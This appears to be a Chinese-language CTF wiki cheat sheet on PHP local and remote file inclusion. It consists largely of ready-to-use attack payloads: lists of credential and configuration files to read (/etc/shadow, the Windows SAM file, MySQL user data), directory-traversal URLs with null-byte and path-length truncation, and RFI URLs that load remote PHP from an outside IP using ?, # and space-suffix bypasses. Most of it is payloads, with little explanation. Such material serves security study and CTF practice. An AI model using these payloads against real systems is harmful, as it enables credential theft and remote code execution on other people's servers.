原理 - PHP
(1)require() (2)require_once() (3)include() (4)include_once()
LFI - 无限制本地文件包含
通过目录遍历漏洞可以获取到系统中其他文件的内容 常见的敏感信息路径 Windows系统 c:\boot.ini // 查看系统版本 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件 c:\windows\repair\sam // 存储Windows系统初次安装的密码 c:\ProgramFiles\mysql\my.ini // MySQL配置 c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码 c:\windows\php.ini // php 配置信息 Linux/Unix系统 /etc/passwd // 账户信息 /etc/shadow // 账户密码文件 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置 /usr/local/app/php5/lib/php.ini // PHP相关配置 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/my.conf // mysql 配置文件
LFI - session文件包含漏洞
LFI - 有限制本地文件包含漏洞绕过
%00截断 http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00 路径长度截断 windows OS,点号需要长于256;linux OS 长于4096
RFI - php远程文件包含漏洞
allow_url_fopen = On(是否允许打开远程文件)
allow_url_include = On(是否允许include/require远程文件)
RFI - 无限制远程文件包含
http://www.ctfs-wiki.com/FI/FI.php?filename=http://192.168.91.xx/FI/php.txt
RFI - 有限制远程文件包含漏洞绕过
<?php include($_GET['filename'] . ".html"); ?>
有限制远程文件包含漏洞绕过_问号绕过 http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
有限制远程文件包含漏洞绕过_#绕过 http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23
有限制远程文件包含漏洞绕过_空格绕过 http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
PHP文件包含
文件包含函数 require() 、require_once()、include() 、allow_url_fopen和allow_url_include为ON的话,则文件包含函数是可以加载远程文件的 PHP5.2开始allow_url_include就默认为Off了,而allow_url_fopen一直是On
服务器端包含(SSI)
简单测试:
1 etc/passwd 2 etc/passwd%00 3 etc%2fpasswd 4 etc%2fpasswd%00 5 etc%5cpasswd 6 etc%5cpasswd%00 7 etc%c0%afpasswd 8 etc%c0%afpasswd%00 9 C:\boot.ini 10 C:\WINDOWS\win.ini